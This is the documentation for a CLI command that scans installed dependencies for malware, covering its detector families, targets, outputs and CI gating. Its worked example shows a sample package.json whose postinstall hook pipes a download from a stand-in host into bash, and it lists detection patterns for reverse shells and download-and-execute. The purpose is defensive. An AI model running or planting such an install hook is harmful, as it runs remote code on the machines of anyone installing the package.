Malscan Command Reference

The malscan command runs the malscan-engine in-process against your project’s locally-installed dependencies — the actual bytes on disk in node_modules, site-packages, vendor, ~/.cargo, and friends. Unlike --block-malware on the scan / sca path (which asks the backend for the known-malicious verdict of each resolved package), malscan inspects the installed code itself, so it catches embedded payloads and install-script behaviour that a package-name lookup never sees.

Credentials are optional. Findings are always written to .vulnetix/malscan.sarif. They are uploaded to Vulnetix only when you are authenticated; community/unauthenticated runs scan and report locally without persisting.

Usage

vulnetix malscan [path] [flags]

Detector families

Four detectors run over every resolved scan target:

• iocscan — STIX IOC filesystem scan. Matches known-bad domains, IPs, and URLs in text files (and in printable strings extracted from binaries), with file + line + surrounding-context evidence. Feeds are fetched from the Vulnetix malscan STIX index and cached locally.
• detect — Manifest / install-script pattern detection plus shell-obfuscation analysis (e.g. curl … | bash in an npm postinstall, download-and-execute, reverse shells, .onion C2).
• ioc — Indicators of compromise extracted from manifests and install scripts (exfil endpoints, wallet addresses, install commands), attached to malicious findings.
• badhash — Known-bad artifact-hash blocklist, checked against the integrity checksums declared in package manifests.

Flags

Scan targets

Targets are resolved per ecosystem. Project-local install directories are always scanned; the user-scoped/home caches in the right column are scanned only with --include-home.

Only directories that exist on disk are scanned, and a shared vendor/ is attributed to a single ecosystem by the manifest present at the root, so it is never scanned twice.

Output files

When authenticated, the SARIF and the extracted IOCs (with offending-file samples) are uploaded to /v2/cli.malscan, which persists a MALWARE scanner run, snapshot, findings, triage, OpenVEX, and MalwareIoc records with the samples stored to object storage.

Examples

# Scan the current project's installed dependencies (pretty summary; writes .vulnetix/malscan.sarif)
vulnetix malscan

# Scan a specific directory
vulnetix malscan ./my-app

# Also scan the shared home caches (~/.npm, ~/go/pkg/mod, ~/.cargo, …)
vulnetix malscan --include-home

# Emit the findings as JSON or SARIF to stdout (the file is still written)
vulnetix malscan -o json
vulnetix malscan -o sarif

# Offline / air-gapped: skip the STIX network fetch, run detect + badhash only
vulnetix malscan --no-ioc-feeds

# Write the SARIF somewhere else and don't upload
vulnetix malscan --output-file build/malscan.sarif --no-upload

Verified example

Running malscan against a project whose node_modules contains a package with a malicious postinstall hook:

// package.json (installed dependency)
{ "name": "evil-pkg", "version": "1.0.0",
  "scripts": { "postinstall": "curl -s http://malware.example/payload.sh | bash" } }

MALWARE SCAN

  1 target(s) scanned, 0 file(s) inspected, 0 known-bad indicator(s) loaded

SCAN TARGETS
Ecosystem   Feed  Scope    Location
javascript  npm   project  node_modules

FINDINGS
Severity  Rule            Class     Ecosystem   Location
critical  P-CURL-PIPE     evidence  javascript  node_modules/evil-pkg/package.json:5
critical  P-INSTALL-CURL  evidence  javascript  node_modules/evil-pkg/package.json
...

  malware findings detected — see .vulnetix/malscan.sarif for full evidence.

The process exits 1 whenever malware is found, so a bare vulnetix malscan is a drop-in CI gate.

Exit codes

Integration with scan and sca

The same in-process pass runs as part of the broader scan flow:

• scan runs malscan as a pass by default (disable with --no-malscan). It always uploads findings; it contributes a malware quality-gate breach only when --block-malware — or the org’s enforced blockMalware policy — is in effect.
• sca runs malscan only when --block-malware (or the org blockMalware policy) is in effect, then gates on it.

This means vulnetix scan --block-malware and vulnetix sca --block-malware fail the build on both the backend known-malicious-package verdict and any locally-detected malware, while a clean vulnetix scan still captures a malscan snapshot for visibility without failing.

Malscan vs --block-malware. --block-malware is a policy gate that asks “is any installed package a known-malicious release?” (a name+version lookup against Vulnetix intelligence). malscan is a local scanner that asks “is there malicious code or behaviour in the installed bytes?” (STIX IOCs, install-script patterns, bad hashes). They are complementary — run both for defence in depth.

Related commands